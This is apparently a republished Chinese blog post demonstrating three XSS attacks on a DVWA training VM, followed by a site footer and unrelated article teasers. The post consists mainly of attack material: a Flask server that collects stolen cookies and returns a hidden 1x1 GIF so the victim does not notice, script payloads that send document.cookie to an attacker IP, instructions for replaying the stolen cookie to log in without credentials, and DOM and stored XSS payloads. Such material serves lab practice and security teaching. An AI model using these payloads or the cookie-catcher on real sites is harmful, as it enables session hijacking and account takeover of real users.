3種XSS攻擊簡單案例

1、接收cookie端攻擊機上用python寫個接收web程序flask

from flask import Flask, request, Responseapp = Flask(__name__)@app.route('/')
def save_cookie():cookie = request.args.get('cookie', '')if cookie:with open('/root/cookies.txt', 'a') as f:f.write(f"{cookie}\n")# 返回1x1透明GIF(避免被用戶察覺)return Response(b'GIF89a\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x01\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;',  mimetype='image/gif')if __name__ == '__main__':app.run(host='0.0.0.0', port=80)

2、dvwa靶機上進行xss測試(3種方法)

<script>document.location='http://192.168.168.130/?cookie='+document.cookie;</script>
<script>fetch('http://192.168.168.130/?cookie=' + document.cookie);</script>

3、把獲取的cookie中最后一個等號后面的是cookie值,打開火狐按F12,點擊存儲store,把獲取的cookie值替換進去,就能直接打開不用賬戶密碼了

???

dvwa中DOM型注入(直接在xss的dom網址上改后面的default=就能獲取cookie)

http://192.168.168.133/dvwa-master/vulnerabilities/xss_d/?default=<script>alert(document.cookie);</script>

???

dvwa中存儲型注入(先按F12把name表單長度改長一點)

name中輸入:

<script>alert(document.cookie);</script>

message中隨便輸入:Payload

以后每次打開這個存儲型頁面就會彈cookie出來

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/96280.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/96280.shtml
英文地址,請注明出處:http://en.pswp.cn/web/96280.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Docker 部署生產環境可用的 MySQL 主從架構

簡介跨云服務器一主一從&#xff0c;可以自己按照邏輯配置多個從服務器 假設主服務器ip: 192.168.0.4 從服務器ip&#xff1a;192.168.0.5 系統 CentOS7.9 &#xff08;停止維護了&#xff0c;建議大家用 Ubuntu 之類的&#xff0c;我這個沒辦法&#xff0c;前人在云服務器上…

DeepResearch(上)

概述 OpenAI首先推出Deep Research Agent&#xff0c;深度研究智能體&#xff0c;簡稱DRA。 通過自主編排多步驟網絡探索、定向檢索和高階綜合&#xff0c;可將大量在線信息轉換為分析師級別的、引用豐富的報告&#xff0c;將數小時的手動桌面研究壓縮為幾分鐘。 作為新一代…

附050.Kubernetes Karmada Helm部署聯邦及使用

文章目錄karmada簡介karmada概述karmada Helm部署Kubernetes karmada介紹基礎準備Kubernetes集群獲取chat包正式部署karmada使用karmada納管集群查看memeber集群導出kubeconfig切換集群測試應用karmada簡介 karmada概述 參考&#xff1a;附049.Kubernetes Karmada Local-up部…

必知必會:基于Transformer 的預訓練語言模型如何區分文本位置(sinusoidal位置編碼、原理和詳細推導)

預訓練位置編碼 基于Transformer 的預訓練語言模型如何區分文本位置? 基于 Transformer 的預訓練語言模型主要通過位置編碼來區分文本位置。Transformer 核心的自注意力機制本身并不考慮詞的順序&#xff0c;它對輸入序列的處理是與位置無關的。在 query 和 key 的矩陣乘法之后…

redis key過期后會立馬刪除嗎

Redis 的 Key 過期后不會立即被刪除。Redis 采用了一種結合 ?惰性刪除 (Lazy Expiration)?? 和 ?定期刪除 (Periodic Expiration)?? 的策略來管理過期 Key 的回收&#xff0c;這是為了在內存管理、性能和 CPU 開銷之間取得平衡。&#x1f4cc; Redis 過期 Key 刪除的兩種…

關于 React 19 的四種組件通信方法

注意&#xff1a;使用的是UI庫是 antd-mobile1.父子級組件通信父組件單向數據流&#xff1a;數據從父組件流向子組件。支持多種數據類型&#xff1a;字符串、數字、對象、數組、函數等。只讀性&#xff1a;子組件不能直接修改 props 中的數據。import { useState } from react …

OC-單例模式

文章目錄單例模式定義特點使用原因缺點模式介紹懶漢模式同步鎖實現dispatch_once餓漢模式實現總結懶漢模式優點缺點餓漢模式優點缺點單例模式 定義 單例模式&#xff0c;簡單的說就是一個類始終只對應同一個對象&#xff0c;每次獲取這個類的對象獲得的都是同一個實例 如果一…

[論文閱讀] 算法 | 抗量子+緊湊!SM3-OTS:基于國產哈希算法的一次簽名新方案

抗量子緊湊&#xff01;SM3-OTS&#xff1a;基于國產哈希算法的一次簽名新方案 論文信息信息類別具體內容論文原標題SM3-OTS: 基于國密算法SM3的緊湊型后量子一次簽名方案主要作者楊亞濤、殷方銳、陳亮宇、潘登研究機構1. 北京電子科技學院 電子與通信工程系&#xff08;北京 1…

C語言-指針用法概述

目錄 1.指針基礎概念 2. 指針與數組 3. 指針作為函數參數 4. 動態內存分配 5. 指針的高級用法 6. 常見錯誤與注意事項 7. 指針數組 vs. 數組指針 8.總結與建議 本文主要作為指針用法的復習&#xff0c;會對指針的大致用法進行舉例和概述。 1.指針基礎概念 ?什…

Java調用Whisper和Vosk語音識別(ASR)模型,實現高效實時語音識別(附源碼)

簡介 語音識別&#xff08;Automatic Speech Recognition, ASR&#xff09;是將人類的語音信號自動轉換為對應文字的技術&#xff0c;它使計算機能夠“聽懂”人說的話&#xff0c;是人機語音交互的核心技術&#xff0c;廣泛應用于智能助手、語音輸入、客服系統等場景。 現在我…

第3周 機器學習課堂記錄

1.學習問題的分類有監督的學習分類回歸無監督學習聚類密度估計&#xff1a;確定輸入空間中的數據的分布可視化&#xff1a;把高位空間中的數據投影到二維或三維空間強化學習不給定最優輸出的示例&#xff0c;而是通過試錯發現最優輸出2.泛化versus過度擬合背景引入&#xff1a;…

消息隊列(MQ)高級特性深度剖析:詳解RabbitMQ與Kafka

一、引言&#xff1a;為什么需要關注高級特性&#xff1f; 在現代分布式系統架構中&#xff0c;消息隊列&#xff08;Message Queue&#xff09;已成為不可或缺的核心組件。初級使用消息隊列可能只需幾行代碼就能實現基本功能&#xff0c;但要真正發揮其在大規模生產環境中的威…

【GPT入門】第65課 vllm指定其他卡運行的方法,解決單卡CUDA不足的問題

【GPT入門】第65課 vllm指定其他卡運行的方法&#xff0c;解決單卡CUDA不足的問題&#xff11;.原理說明&#xff1a;&#xff12;.實踐&#xff11;.原理 要將 vllm 部署在第二張 GPU 卡上&#xff08;設備編號為 1&#xff09;&#xff0c;只需在命令前添加 CUDA_VISIBLE_DE…

Spring Boot Actuator自定義指標與監控實踐指南

Spring Boot Actuator自定義指標與監控實踐指南 本篇文章以生產環境實戰經驗為主線&#xff0c;結合某電商系統的業務場景&#xff0c;講解如何在Spring Boot Actuator中添加并暴露自定義指標&#xff0c;并使用Prometheus和Grafana進行完整的監控與告警配置。 一、業務場景描述…

Vue報錯<template v-for=“option in cardOptions“ :key=“option.value“>

在Vue項目中遇到報錯&#xff0c;原因是模板中使用了<template>標簽內的v-for指令&#xff0c;而當前Vue版本不支持此用法。解決方案是移除<template>標簽&#xff0c;直接在<el-option>上使用v-for。同時優化計算屬性cardOptions&#xff0c;使其能夠兼容歷…

人工智能學習:Transformer結構中的規范化層(層歸一化)

Transformer結構中的規范化層(層歸一化) 一、規范化層(層歸一化)介紹 概念 層歸一化(Layer Normalization) 是一種用于提高深度神經網絡訓練穩定性和加速收斂的技術,廣泛應用于現代深度學習模型中,尤其是在Transformer等序列建模網絡中。它通過對每一層的輸出進行歸一化…

盼之代售 最新版 decode__1174

聲明 本文章中所有內容僅供學習交流使用&#xff0c;不用于其他任何目的&#xff0c;抓包內容、敏感網址、數據接口等均已做脫敏處理&#xff0c;嚴禁用于商業用途和非法用途&#xff0c;否則由此產生的一切后果均與作者無關&#xff01; 逆向分析 部分python代碼 cp1 execj…

Transformer系列 | Pytorch復現Transformer

&#x1f368; 本文為&#x1f517;365天深度學習訓練營中的學習記錄博客&#x1f356; 原作者&#xff1a;K同學啊 一、Transformer和Seq2Seq 在之前的博客中我們學習了Seq2Seq(深度學習系列 | Seq2Seq端到端翻譯模型)&#xff0c;知曉了Attention為RNN帶來的優點。那么有沒有…

【MySQL】常用SQL語句

介紹常用的DDL語句、DML語句基本語法分號結尾使用空格和縮進不區分大小寫--或#注釋單行內容 /*注釋多行內容*/DDL數據定義語句&#xff1a;定義數據庫、表、字段一、操作庫-- 創建庫create database db1;-- 創建庫是否存在&#xff0c;不存在則創建create database if not exi…

云手機就是虛擬機嗎?

云手機并非等同于虛擬機&#xff0c;盡管二者存在一定相似性&#xff0c;但有著諸多區別&#xff0c;以下從多個方面來分析&#xff1a;云手機是一種基于云計算技術&#xff0c;將云端服務器虛擬化為手機設備&#xff0c;用戶能通過網絡遠程操控的虛擬手機服務&#xff0c;它從…